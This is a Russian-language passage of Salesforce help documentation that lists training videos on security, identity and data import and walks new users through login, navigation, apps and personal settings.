Данный видеоролик содержит рекомендации по использованию наборов
изменений для переноса изменений конфигурации (например, приложения,
объекты и наборы полномочий) между организациями.

Site.com

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Создание веб-сайта с помощью Site.com

Данный видеоролик содержит рекомендации по импорту активов для
использования на сайте, созданиюшаблонов страниц, применению стилей
CSS, а также добавлению и клонированию страниц сайта посредством Site.com
Studio.
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Безопасность

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Кому и какие данные доступны?: общие сведения

Данныйвидеороликсодержитрекомендациипоопределениюуровнейдоступа
к данным организации.

Кому и какие данные доступны?: доступ к организации

Данный видеоролик содержит рекомендации по ограничению диапазонов
IP-адресов и времени входа.

Кому и какие данные доступны?: доступ к объекту

Данный видеоролик содержит рекомендации по предоставлению доступа к
объектам посредством профилей.

Кому и какие данные доступны?: единые стандартные параметры

Данный видеоролик содержит рекомендации по ограничению доступа к
записям, принадлежащим другим пользователям.

Кому и какие данные доступны?: доступ к записям посредством иерархии
ролей

Данный видеоролик содержит рекомендации по предоставлению доступа к
записям посредством иерархии ролей.

Кому и какие данные доступны?: доступ к записям посредством правил
общего доступа

Данный видеоролик содержит рекомендации по предоставлению доступа к
записям посредством правил общего доступа.

Кому и какие данные доступны?: безопасность поля

Данный видеоролик содержит рекомендации по ограничению доступа к
отдельным полям профиля на основе профилей.

Кому и какие пользователи доступны?: общий доступ к пользователям

Данныйвидеороликсодержитрекомендациипоопределениюуровнейдоступа
к пользователям организации.

Кому и какие данные доступны?: наборы полномочий

Данныйвидеороликсодержитрекомендациипопредоставлениюпользователям
дополнительныхполномочийипараметровдоступабезизмененияпрофилей.

Кому и какие данные доступны?: Типы записей

Данный видеоролик содержит сведения о различных способах организации и
сбора данных для одного объекта посредством типов записей.
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Создание правила общего доступа на основе критериев

Данный видеоролик содержит рекомендации по созданию правила общего
доступа на основе значения поля записи.

Предоставление администратору Salesforce доступа к собственной учетной
записи

Данный видеоролик содержит рекомендации по предоставлению
администратору доступа к собственной учетной записи Salesforceбез передачи
пароля.

Удаление дост  па пользователей к системе Salesforce

Деактивация пользователей Salesforce инициирует удаление доступа к данным
их организаций, но сохраняет их архивные действия и записи. Данный
видеоролик содержит рекомендации по деактивации пользователей, а также
охватывает последствия деактивации для их данных.

Активация компьютера

Данный видеоролик содержит рекомендации по активации компьютера для
мобильного входа в систему Salesforce.

Администратор Salesforce или сотрудник службы поддержки может войти в
учетную запись пользователя Salesforce для оказания помощи. Данный
видеороликдемонстрируетпорядокпредоставлениядоступа к учетной записи
администратору или сотруднику службы поддержки на определенный срок
времени без передачи конфиденциальных сведений (например пароля).

Salesforce Identity

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Обзор Salesforce Identity

Данный видеоролик содержит краткий обзор ключевых функций Salesforce
Identity. В нем рассматриваются такие темы, как фирменный стиль, единая
регистрация, управление доступом, политики, отчетность и многие другие.

Salesforce как поставщик единой регистрации

Настроить Salesforce Identity в качестве поставщика единой регистрации для
приложений сторонних разработчиков очень просто. Данный видеоролик
содержит инструкции по настройке Salesforce в качестве поставщика
удостоверений для приложений Google Apps.

Настройка единой регистрации
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Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Данный видеоролик содержит рекомендации по выполнению единой
регистрации с помощью Salesforce для сотрудников, партнеров и клиентов на
порталах и в сообществах, а также рекомендации для критических отладок.

Настройка функции «Мой домен»

Данный видеоролик демонстрирует преимущества использования
настраиваемого URL-адреса организации Salesforce с помощьюфункции «Мой
домен». Использованиефункции«Мойдомен»позволяетлучшеконтролировать
службы входа и обеспечивает беспроблемную единую регистрацию и
добавление элементовфирменного стиля клиентана страницувхода Salesforce.

Интеграция Active Directory в Salesforce с помощью Identity Connect

Active Directory можно с легкостью интегрировать в Salesforce с помощью
Salesforce Identity Connect. Данный видеоролик содержит инструкции по
настройке Identity Connect для авторизации и синхронизации пользователей
Salesforce с Active Directory.

Повышение безопасности с помощью двухфакторной проверки
подлинности

Данныйвидеороликсодержитрекомендациипоиспользованиюдвухфакторной
проверки подлинности для системы Salesforce.

Настройка средства запуска приложений

Данный видеоролик содержит инструкции по настройке, использованию и
управлению средством запуска приложений Salesforce для портала единой
регистрации, на котором пользователи Salesforce могут запускать приложения
и внешние программы с помощью единого интерфейса.

Регистрация с помощью социальных сетей

Данный видеоролик содержит инструкции по настройке регистрации с
помощью социальных сетей. Регистрация с помощью социальных сетей
позволяет пользователям выполнять вход в организацию Salesforce с
использованием учетных данных пользователя социальной сети с помощью
функции «Мой домен».

Единая регистрация и управление доступом в мобильных приложениях

Данный видеоролик содержит инструкции по подключению мобильных
приложений и управлению политиками авторизации с помощью Salesforce
Identity и OAuth. В нем освещаются такие темы, связанные с мобильными
приложениями, как защитаспомощью PIN-кода, завершениесеанса, интеграция
единой регистрации, средства контроля и отчетности.
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Импорт данных

Для
администраторов

Для конечных
пользователей

Заголовок видеоролика

Очистка файла импорта

Данный видеоролик содержит рекомендации по очистке файлов импорта и
подготовке данных Salesforce, а также по обработке импортированных данных.

Очистка и подготовка данных с помощью Excel

Приложение Excel поддерживает разные функции, позволяющие быстро
подготавливать файлы данных к импорту. Данный видеоролик охватывает
некоторые эффективные способы использования функций Excel для импорта
данных.

Выбор подходящего инструмента

Данныйвидеоролик содержитподробные сведенияоприложении Data Loader,
позволяющие самостоятельно определять необходимость его использования.
Приложение сравнивается с мастерами импорта и некоторыми другими
доступными инструментами.

Коды ответственных и коды родителей

Данный видеоролик содержит подробные рекомендации по выбору объектов
и определению необходимости выполнения импорта. Данный видеоролик
позволяетпонятьпорядокотслеживаниякаждогодочернегообъекта (например,
возможности) на наличие соответствующего ответственного и родительской
записи, а также просмотреть в пользовательском интерфейсе
демонстрационныйролик, посвященныйвопросамотслеживанияпосредством
инструмента Data Loader.

Рекомендации по импорту данных

Данныйвидеороликохватываетосновныепроблемы, возникающиевпроцессе
работы наших клиентов, Данный видеоролик содержит рекомендации по
удалению неудачного импорта, созданию резервной копии данных и т. д.

Импорт организаций и контактов: часть 1: экспорт данных

Данный видеоролик охватывает порядок импорта организаций и контактов
посредством мастера импорта данных. Рекомендуем использовать мастер для
импорта CSV-файла, содержащего данные, и соотнесения полей.

Импорт организаций и контактов: часть 2: импорт данных

СМ. ТАКЖЕ:

Полезные советы и руководства по внедрению
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Добивайтесь большего в короткие сроки при помощи пошаговых руководств

ВЕРСИИ

Доступно в версиях: все
версии.

Пошаговые руководства разъясняют, как выполнить ту или иную задачу или как
воспользоваться какой-либо функцией. Компания Salesforce создает пошаговые
руководства, позволяющиеповысить эффективностьиспользованиясистемы Salesforce.

Перед тем какщелкнуть ссылку на пошаговое руководство, убедитесь, что у вас имеются
нужные разрешения пользователя и лицензия на использование соответствующей
функции. Это необходимо для доступа к нужным страницам в Salesforce. После этого
щелкнитессылку, чтобыоткрытьнужноепошаговоеруководство. Есливыещеневыполниливход, будет выведензапрос,
чтобы вы вошли в свою учетную запись.

Пошаговыеруководствапредставляютсобойописаниенаборашагов, позволяющихзавершить тоилииное заданиеили
просмотреть функцию в собственной учетной записи Salesforce.

Прим.: Помните, что пошаговые руководства, скорее, помогают ориентироваться в собственной учетной записи
Salesforce, а не в демонстрационной среде. Поэтому, выполняя эти инструкции, вы фактически вносите изменения
в данные своей организации. Если внесение этих изменений вас беспокоит, сначала выполните шаги руководства
в учетной записи-песочнице или в другой тестовой среде.

Начало работы для нового пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии; компонент Chatter
доступен в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

СистемаSalesforceиспользуетсявпервые? Чтобыначатьработусприложением, настройте
учетную запись нового пользователя.

1. Первоначальный вход
Пользователю, созданному администратором, отправляется сообщение по
электронной почте, содержащее имя пользователя и ссылку на сайт Salesforce
организации.

2. Работа с системой Salesforce

Данный раздел описывает способы навигации по основным областям системы
Salesforce, позволяющие ускорить перемещение пользователей по приложению.

3. Настройка профиля Chatter

Профиль Chatter позволяет коллегам и клиентам просматривать сведения о
пользователе. Профиль содержит фотографию и основные сведения (например,
должность и контактные данные).

4. Индивидуальная настройка системы Salesforce

Система Salesforceподдерживаетличныепараметры, позволяющиеиндивидуализироватьиспользуемыекомпоненты.
ОбластьрасположенияданныхпараметроввприложенииопределяетсявключенныминтерфейсомсистемыSalesforce.

5. Общие сведения об администраторе Salesforce

Администратор Salesforce — это пользователь Salesforce, обладающий правами на администрирование системы и
другими сверхспособностями. Администраторы отвечают за настройку и обслуживание организаций Salesforce.
Администраторам назначается специальный профиль, позволяющий добавлять пользователей, а также определять
компоненты и действия, доступные пользователям в системе Salesforce. Администраторы могут повышать
производительность пользователей путем создания настраиваемых объектов, бизнес-правил, правил проверки,
отчетов и других компонентов Salesforce. Администраторы отвечают за планирование рабочих процессов, решение
возникающих проблем и выполнение сложных задач.

40

Начало работы для нового пользователяОсновы Salesforce



6. Почему некоторые функции не отображаются?

Некоторые функции продукта могут быть недоступны пользователям ввиду многоуровневой настройки системы
Salesforce.

7. Советы для новых пользователей
Данный раздел содержит советы, позволяющие повысить производительность нового пользователя Salesforce.

Первоначальный вход

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии.

Пользователю, созданномуадминистратором, отправляется сообщениепоэлектронной
почте, содержащее имя пользователя и ссылку на сайт Salesforce организации.

Алгоритм первоначального входа описан ниже.

1. Проверьте эл. почту на наличие регистрационных данных.

2. Щелкните ссылку, добавленную в сообщение эл. почты.
Данное действие позволяет выполнить автоматический вход на сайт.

3. При отображении соответствующего запроса измените пароль и выберите
контрольный вопрос, который должен использоваться для подтверждения
подлинности при восстановлении пароля.

Приотсутствиисообщенияэл. почты, содержащегорегистрационныеданные, обратитеськ администраторуорганизации
Salesforce.

СМ. ТАКЖЕ:

Устранение неполадок входа

Активация устройства, инициирующего запрос на проверку подлинности

Работа с системой Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Данныйразделописывает способынавигациипоосновнымобластямсистемы Salesforce,
позволяющие ускорить перемещение пользователей по приложению.

Система Salesforce является ценным инструментом, успешное использование которого
обуславливается превосходным знанием интерфейса и областей хранения данных.

1. Просмотрите общие сведения о способах систематизации данных Salesforce.

2. Просмотрите общие сведения о страницах Salesforce.

3. Просмотрите общие сведения о вкладке «Начальная страница».

4. Просмотрите общие сведения о навигации по начальным страницам объектов.

5. Найдите меню «Настройка».

Общие сведения о способах систематизации данных Salesforce

Система Salesforce группирует данные в логические категории, называемые объектами. Объект — это набор полей,
именакоторыхсоответствуюттипамсобираемыхданных. ПримерамичастоиспользуемыхобъектовSalesforce являются
«Контакты», «Организации», «Обращения» и «Отчеты». Например, объект «Контакты» содержит поля, значения
которыхописываютпартнеровкомпании (например, личныеимена, фамилии, номера телефонов, должностииместа
работы).
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Навигация по начальным страницам объектов

Открытие другого приложения
Не удалось найти нужнуюфункцию? Возможно, она поддерживается другим приложением. Чтобы просмотреть все
доступные приложения и выбрать нужное, воспользуйтесь раскрывающимся меню.

Поиск настроек
Поискпараметровв зависимостиот того, какиефункциональныевозможностиSalesforceиспользуются, иотнастроек
пользовательского интерфейса вашей организации.

Общие сведения о способах систематизации данных Salesforce
Система Salesforce группирует данные в логические категории, называемыеобъектами. Объект — это наборполей, имена
которых соответствуют типам собираемых данных. Примерами часто используемых объектов Salesforce являются
«Контакты», «Организации», «Обращения» и «Отчеты». Например, объект «Контакты» содержитполя, значения которых
описывают партнеров компании (например, личные имена, фамилии, номера телефонов, должности и места работы).

Система Salesforce поддерживает два типа объектов.

• Стандартные объекты предоставляются согласно лицензии Salesforce, приобретенной компанией. Стандартными
считаются наиболее часто используемые объекты.

• Настраиваемые объекты создаются в соответствии с текущими бизнес-требованиями компании.

Администраторорганизацииможетнастраиватьстандартныеобъектыилисоздаватьнастраиваемыеобъектывсоответствии
стекущимипроектамикомпанииилиотраслевымитребованиями. Например, администраторможетсоздатьнастраиваемый
объект «Ошибки» дляотслеживанияизвестныхпроблемпродуктаилипереименоватьстандартныйобъект «Организации»
в «Клиенты» для удобства сотрудников компании.

Какправило, доступкобъектамвинтерфейсеSalesforceпредоставляетсяпосредствомсоответствующихвкладок. Например,
объекту «Возможность» соответствует вкладка «Возможности». Чтобы определить доступность объекта, описанного в
документации Salesforce, но отсутствующего в пользовательском интерфейсе, обратитесь к администратору. Если
используемая версия системы поддерживает объекты и связанные вкладки, которые не представлены в документации, то
данные объекты могут быть настраиваемыми. Чтобы узнать способы их использования, обратитесь к администратору.

СМ. ТАКЖЕ:

Навигация по начальным страницам объектов

Навигация по начальным страницам объектов
Часто используемые объекты могут быть найдены в настольном приложении путем выбора соответствующих вкладок,
отображаемых в верхней части экрана. Другим функциям Salesforce (например, начальная страница и Chatter) также
соответствуют вкладки.

Чтобыполучить доступ к данным, откройте вкладку соответствующегообъекта. Например, чтобыпросмотреть сведения
об организации клиента, откройте вкладку «Организации». Ниже перечислены компоненты вкладки.

1. Имя объекта и тип просматриваемых данных. Например, «Организации».

2. Параметры спискового представления. Списковое представление позволяет сократить количество отображаемых
организаций (например, «Все организации» или «Недавно просмотренные организации»).

3. Списокнедавнихзаписей. Например, «Недавниеорганизации». Данныйсписокотображаетсядлякаждогостандартного
и настраиваемого объекта и не может быть настроен.

4. Ссылки на другие полезные функции.
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Открытие другого приложения

ВЕРСИИ

Доступно в: Lightning
Experience и Salesforce
Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Не удалось найти нужнуюфункцию? Возможно, она поддерживается другим
приложением. Чтобы просмотреть все доступные приложения и выбрать нужное,
воспользуйтесь раскрывающимся меню.

Чтобы воспользоваться функциями, доступными в другом приложении Salesforce,
рекомендуемоткрытьнужноеприложение. Кдругимприложениямотносятсяприложение
Salesforce Marketing, приложение Call Center и любые настраиваемые приложения
организации.

Кроме того, организация может использовать связанные приложения. К связанным
приложениям относятся офисные (например, Gmail™ и Microsoft Office 365™) и другие
приложения, необходимые для выполнения работы. Приложения, добавленные
администратором в организацию, отображаются в средстве запуска приложений.

Открытие другого приложения Salesforce в Salesforce Classic

Можно удобно переключаться между приложениями Salesforce, например Sales и Marketing.

Открытие приложения из средства запуска приложений в Salesforce Classic

Переходите между своими приложениям Salesforce и подключенными приложениями в едином меню.

Открытие другого приложения в Lightning Experience

Рекомендуемиспользоватьфункциюпоискаилисредствозапускаприложенийдлянавигацииповсемприложениям.

Открытие другого приложения Salesforce в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложения:
• Доступ к приложению,

указанный в профиле
пользователя или
наборе полномочий.

МожноудобнопереключатьсямеждуприложениямиSalesforce, например Sales и Marketing.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

Чтобы воспользоваться функциями, доступными в другом приложении Salesforce,
рекомендуем открыть нужное приложение. Одновременно разрешается открывать
только одно приложение. Данное приложение будет автоматически открыто при
следующем входе в систему Salesforce.

Чтобы открыть приложение, выполните указанные ниже действия. Выберите нужное
приложение в раскрывающемся менюприложений, расположенном в верхнем правом
углу любой страницы Salesforce.
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Открытие приложения из средства запуска приложений в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра средства
запуска приложений:
• «Использование

функций подлинности»

Переходите между своими приложениям Salesforce и подключенными приложениями
в едином меню.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

Необходим доступ к приложению Salesforce или подключенным приложениям для их
просмотра и открытия в средстве запуска приложений.

Для открытия средства запуска приложений выберите средство запуска приложенийна
любой странице Salesforce в меню приложений Force.com.

Чтобы запустить приложение, щелкните значок нужного установленного приложения
в средстве запуска приложений.

СМ. ТАКЖЕ:

Средство запуска приложений

Полномочия и доступ пользователя

Общие сведения о связанных приложениях

Открытие другого приложения в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
приложения:
• Доступ к приложению,

указанный в профиле
пользователя или
наборе полномочий.

Рекомендуем использовать функцию поиска или средство запуска приложений для
навигации по всем приложениям.

Прим.: Данные действия поддерживаются в Lightning Experience. Если слева
находится панель навигации, вы в Lightning Experience. Панель вкладок,
отображающаясяповсейшириневерхнейчастиэкрана, указываетнаиспользование
Salesforce Classic.

Приложение может быть открыто двумя способами.

• Воспользуйтесьполем «Поиск по Salesforce» вверхулюбойстраницыSalesforce.
Начнитевводитьимяприложения (например, «Marketing») ивыберитепредложенный
результат. Данный поиск поддерживается настраиваемыми и связанными
приложениями. Поиск по приложениям не поддерживает специальные символы.
Темнеменее, приложениеможетбытьнайденопомере вводачастислова (например,
«Mark»).

• Щелкните значок средства запуска приложений в верхнем правом углу любой
страницы Salesforce.

Средство запуска приложений отображает все доступные приложения Salesforce и
любые связанные приложения, установленные администратором.

Одновременно разрешается открывать только одно приложение Salesforce. Открытое приложение будет открыто при
следующем входе в систему Salesforce.

Одновременно разрешается открывать несколько связанных приложений. Связанные приложения — это приложения,
устанавливаемые администратором для выполнения работы (например, Gmail™ и Microsoft Office 365™). Каждое связанное
приложениеоткрываетсявновомокне, поэтомурекомендуемвыключитьблокировкувсплывающихокон, препятствующую
открытию связанного приложения.
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Перетащите значок приложения на другое место и выполните сортировку приложений по частоте использования.

Отсутствуют нужные результаты? Чтобы просмотреть другие приложения, объекты и элементы, щелкните «Другие
элементы». Или обратитесь за помощью к администратору.

СМ. ТАКЖЕ:

Средство запуска приложений

Полномочия и доступ пользователя

Общие сведения о связанных приложениях

Поиск настроек

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Поискпараметровв зависимостиот того, какиефункциональныевозможности Salesforce
используются, и от настроек пользовательского интерфейса вашей организации.

Система Salesforce поддерживает разные параметры настройки и управления
организацией. Кроме того, некоторые организации могут настраивать параметры
создания, компоновкиираспространениясобственныхприложений. Данныепараметры
доступны в меню «Настройка». Обычно данное меню используется разработчиками и
администраторами Salesforce. Способ доступа пользователей к данному меню
определяется параметрами пользовательского интерфейса, заданными в организации.

1. Взгляните на верхний колонтитул любой страницы Salesforce.

•
При использовании Lightning Experienceщелкните и выберитеНастройки
домашней страницы.

• При использовании Salesforce Classicщелкните ссылкуНастройка при ее наличии в верхнем колонтитуле
пользовательского интерфейса.

• При использовании Salesforce Classic и отсутствии ссылкиНастройка в верхнем колонтитуле щелкните имя
пользователя и выберите пунктНастройки.

2. Введите название необходимой страницы в поле Быстрый поиск и выберите соответствующую страницу из меню.

Совет: Введитепервыебуквыназваниястраницывполе Быстрый поиск. Померевводаотображаются страницы,
соответствующие заданному критерию поиска. Например, чтобы найти страницу «Параметры языка», введите
парам в поле Быстрый поиск и выберитеПараметры языка.

СМ. ТАКЖЕ:

Поиск личных параметров в Salesforce Classic
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Настройка профиля Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

ПрофильChatterпозволяетколлегамиклиентампросматриватьсведенияопользователе.
Профиль содержит фотографию и основные сведения (например, должность и
контактные данные).

РекомендуемнастраиватьпрофильChatter сразупослесозданияучетнойзаписиSalesforce
и выполнять его регулярное обновление.

Прим.: Если организация не использует Chatter, то система позволяет добавлять
и редактировать личные сведения.

1. Откройте вкладку «Chatter» и найдите место для изображения на левой боковой
панели страницы. Щелкните Имя пользователя напротив места для изображения.

2. Чтобы обновитьфотографиюдля профиля, наведите указатель мышина место для
изображения и щелкните ссылку «Добавитьфотографию».

Совет: Рекомендуем использовать собственнуюфотографию, но не
фотографиюживотногоилигруппылюдей. Привыборефотографиипомните,
что Chatter является бизнес-инструментом, используемым на уровне
непосредственного руководителя и генерального директора.

3. Чтобы обновить контактные данные, щелкните значок под фотографией для профиля. Заполните поля на
вкладках «Контакт» и «Общие сведения» области «Редактировать профиль».

Совет: При необходимости уточните место работы, прошлый опыт и текущие проекты.

4. Нажмите кнопку «Сохранить все».

СМ. ТАКЖЕ:

Редактирование личных сведений

Индивидуальная настройка системы Salesforce
Система Salesforce поддерживает личные параметры, позволяющие индивидуализировать используемые компоненты.
Область расположения данных параметров в приложении определяется включенным интерфейсом системы Salesforce.

Поиск по личным параметрам в Lightning Experience

Прииспользовании Lightning Experience личныепараметры доступныпосредствомраздела «Личныепараметры» или
«Мои параметры».

Поиск личных параметров в Salesforce Classic

ПрииспользованииPersonal Settingsличныепараметрыдоступнывразделе «Личныепараметры» или «Моипараметры».
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Поиск по личным параметрам в Lightning Experience

ВЕРСИИ

Доступно в: Lightning
Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

При использовании Lightning Experience личные параметры доступны посредством
раздела «Личные параметры» или «Мои параметры».

1. Щелкните собственное изображение вверху любой страницы Salesforce.

2. Щелкните «Параметры».

3. Чтобывыбратьнужныйпунктменю, развернитесоответствующееподменюналевой
боковой панели страницы.

Совет: Чтобы быстро найти нужную страницу, введите первые символы ее
имени в поле «Быстрый поиск». По мере ввода отображаются страницы,
соответствующие заданному критерию поиска. Например, чтобы найти
страницу «Личныесведения», введите строку «личн» вполе «Быстрыйпоиск».

Поиск личных параметров в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

При использовании Personal Settings личные параметры доступны в разделе «Личные
параметры» или «Мои параметры».

1. Щелкните стрелкунапротивсобственногоименивверхулюбойстраницы Salesforce.

В зависимости от параметров пользовательского интерфейса, заданных в
организации, меню содержит пункт «Настройка» или «Мои параметры».

2. Выберите пункт меню «Настройка» или «Мои параметры».

3. Выполните одно из указанных ниже действий.

• Чтобывыбратьнужныйпунктменю «Настройка», разверните соответствующее
подменю на левой боковой панели страницы.

• Чтобывыбратьнужныйпунктменю «Моипараметры», разверните соответствующееподменюналевойбоковой
панели страницы.

Совет: Чтобы быстро найти нужную страницу, введите первые символы ее имени в поле «Быстрый поиск».
Помере вводаотображаются страницы, соответствующиезаданномукритериюпоиска. Например, чтобынайти
страницу «Личные сведения», введите строку «личн» в поле «Быстрый поиск».

СМ. ТАКЖЕ:

Поиск настроек

Общие сведения об администраторе Salesforce
Администратор Salesforce — этопользователь Salesforce, обладающийправамина администрированиесистемыидругими
сверхспособностями. Администраторыотвечаютзанастройкуиобслуживаниеорганизаций Salesforce. Администраторам
назначается специальныйпрофиль, позволяющийдобавлятьпользователей, а такжеопределять компонентыидействия,
доступные пользователям в системе Salesforce. Администраторы могут повышать производительность пользователей
путем создания настраиваемых объектов, бизнес-правил, правил проверки, отчетов и других компонентов Salesforce.
Администраторыотвечаютзапланированиерабочихпроцессов, решениевозникающихпроблемивыполнениесложных
задач.
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Все организации Salesforce содержат как минимум одного администратора; крупные организации могут содержать
нескольких администраторов. Уровень сложностиролиадминистратораопределяетсяразмеромиструктуройкомпании.
Администраторымалых организациймогут выполнять действия, доступные другим пользователям Salesforce (например,
продажа продуктов или обслуживание клиентов). Другими словами, всего один работник может выполнять множество
обязанностей.

Система Salesforce поддерживает разные функции и элементы (см. руководство «Изучение основ Salesforce»), доступные для
самостоятельной настройки. Их вполне достаточно для успешной работы! Тем не менее, некоторые компоненты могут
быть включены и настроены только администратором. Он поможет оптимизировать возможности системы Salesforce
для достижения максимального успеха.

Ниже перечислены некоторые обязанности администратора.

• Поиск или использование объекта, поля или функции, рассмотренной во время обучения.

• Создание настраиваемого бизнес-правила для определения даты закрытия обращения.

• Создание настраиваемого процесса утверждения для утверждения расходов сотрудников.

• Создание настраиваемого отчета по региону продаж.

• Назначение полномочия, отсутствующего в профиле пользователя.

• Обработка вопросов по предоставлению доступа к записям.

• Изучение непонятных сообщений об ошибках, рекомендующих обратиться за помощью к администратору.

Способы, обстоятельства и причины обращения к администратору определяются внутренними бизнес-политиками и
практиками компании. Чтобы получить более подробную информацию, обратитесь к администратору!

СМ. ТАКЖЕ:

Почему некоторые функции не отображаются?

Предоставление полномочий входа

Почему некоторые функции не отображаются?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
версии

Некоторые функции продукта могут быть недоступны пользователям ввиду
многоуровневой настройки системы Salesforce.

Справочная документация и обучающие видеоролики позволяют получить
дополнительную информацию о новых функциях Salesforce. Тем не менее, некоторые
функции могут быть недоступны в пользовательском интерфейсе. Это может быть
обусловлено несколькими причинами.

• Некоторые функции могут быть включены только после настройки просмотров
настраиваемой страницы или установки внешних приложений.

• Некоторые функции могут быть доступны только при наличии дополнительных
полномочий и параметров доступа.

• Имена некоторых стандартных объектов и полей могут быть изменены в результате настройки системы Salesforce,
либо могут быть созданы собственные настраиваемые объекты и поля.

• Версия системы Salesforce или функциональные возможности Salesforce, используемые компанией, могут не
поддерживать искомуюфункцию.

СМ. ТАКЖЕ:

Общие сведения об администраторе Salesforce
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Советы для новых пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Данный раздел содержит советы, позволяющие повысить производительность нового
пользователя Salesforce.

Ниже перечислены советы для новых пользователей.

• При выборе объекта для поиска данных система Salesforce отображает только
некоторые записи. Чтобы просмотреть полный список текущих записей данного
объекта, рекомендуем вручную выбрать соответствующее представление.
Воспользуйтесьраскрывающимсясписком «Просмотр»инажмитекнопку «Начать».

• Связанные списки — это ссылки, представленные в нижней части страницы объекта.
Связанныеспискипредоставляютбыстрыйдоступкдругимполезнымсвязаннымобъектам. Ценностьданнойфункции
заключается в предоставлении быстрого доступа к данным, которые могут потребоваться для дальнейшей работы.
Благодаряминимальнойнавигации, даннаяфункцияпозволяет значительноускоритьбизнес-процессыпользователя.
ПриложениеSalesforceподдерживаетнесколькостандартныхсвязанныхсписков, элементыкоторыхмогутнастраиваться
администраторами по мере необходимости.

• Помните, что пользовательский интерфейс может отображать не все функции, описанные в документации. Как
правило, интерфейс настраивается администратором в соответствии с текущими требованиями организации. При
необходимости обратитесь к администратору за помощью по настройке.

• Справочные и обучающие материалы могут ссылаться на функции, которые недоступны для компании или не
поддерживаются выбранным профилем. Чтобы активировать подобные функции или получить соответствующую
помощь, обратитесь к администратору Salesforce в своейкомпании. Как егонайти? Обратитесь к сотрудникукомпании,
предоставившему доступ к системе Salesforce.

• Не забывайте сохранять внесенные изменения! Многие пользователи закрывают страницы редактирования записей
безпредварительногосохраненияобновленныхполей. Преждечемвыбратьдругойэлементстраницы, инициирующий
переход в другую область приложения, нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Почему некоторые функции не отображаются?

Общие сведения об администраторе Salesforce

Персональная настройка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Используйте варианты настройки для персонализации своей работы в Salesforce.
Настройте экран как вам нравится, защитите свою информацию и дайте знать другим
пользователям о себе.

Активация устройства, инициирующего запрос на проверку подлинности
Благодаря активации устройства система Salesforce может легко проверять
подлинность пользователя и предотвращать несанкционированный доступ.

Редактирование личных сведений

Изменение пароля
После входа для повышения уровня защиты следует изменить пароль. Если пароль утерян, щелкните ссылку
Восстановление пароля на странице входа в систему, чтобы сбросить пароль посредством эл. почты.
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Изменение контрольного вопроса
Пользовательможет восстановитьпароль, подтвердив своюличностьпутемответана выбранныеранее контрольные
вопросы. Контрольныевопросыиответыможноизменитьвличныхпараметрахнастранице «Изменитьмойпароль».

Редактирование языковых и региональных параметров

Редактирование параметров электронной почты
Редактируйтепараметрыисходящихсообщенийэлектроннойпочты, чтобыопределятьвозникающееимяивозможную
подпись. Пользователь может также определять обратный адрес и соглашаться на автоматические отправление
сообщений электронной почты о соответствии на свой обратный адрес.

Настройка параметров типа записи

Обновление контактных данных
Контактныеданныеможнообновить влюбое времяна страницепрофиля. Ихмогутпросматривать всепользователи
в вашей организации.

Добавление вкладок для часто используемых элементов
Пользовательскийинтерфейс Salesforce состоитиз вкладок, позволяющихпросматривать, добавлятьиредактировать
сведения об объекте. Набор доступных вкладок определяется текущим приложением. Приложение может быть
дополнено вкладками для часто используемых элементов.

Настройка параметров отображения
Чтобы настроить параметры отображения Salesforce, воспользуйтесь личными параметрами.

Просмотр доступных вкладок Salesforce

Стандарты доступности
Рассмотрим стандарты, используемые компанией Salesforce при создании приложений, поддерживающих режим
доступности.

Просмотр и отображение. Вопросы и ответы

Страницы Salesforce

Приложения Salesforce состоятиз вкладоки страниц. Какправило, стандартнымобъектам (например, «Организации»,
«Контакты» и «Интересы») идругимфункциям (например, Chatter) соответствуютвкладки, которыемогутиспользоваться
для перехода к нужным страницам. Например, чтобы создать запись организации, откройте вкладку «Организации»,
отображающую начальную страницу организаций.

Вкладка «Начальная страница»
На вкладке «Начальная страница» можно создавать сообщения Chatter, просматривать снимки панели мониторинга,

задачи и календарь, а также выполнять поиск по потоку ( ).

Устранение неполадок входа
Не удается выполнить вход? Вы забыли имя пользователя или пароль, или вас заблокировали за слишком большое
число попыток входа? При возникновении проблем при входе можете воспользоваться некоторыми решениями,
представленными ниже.
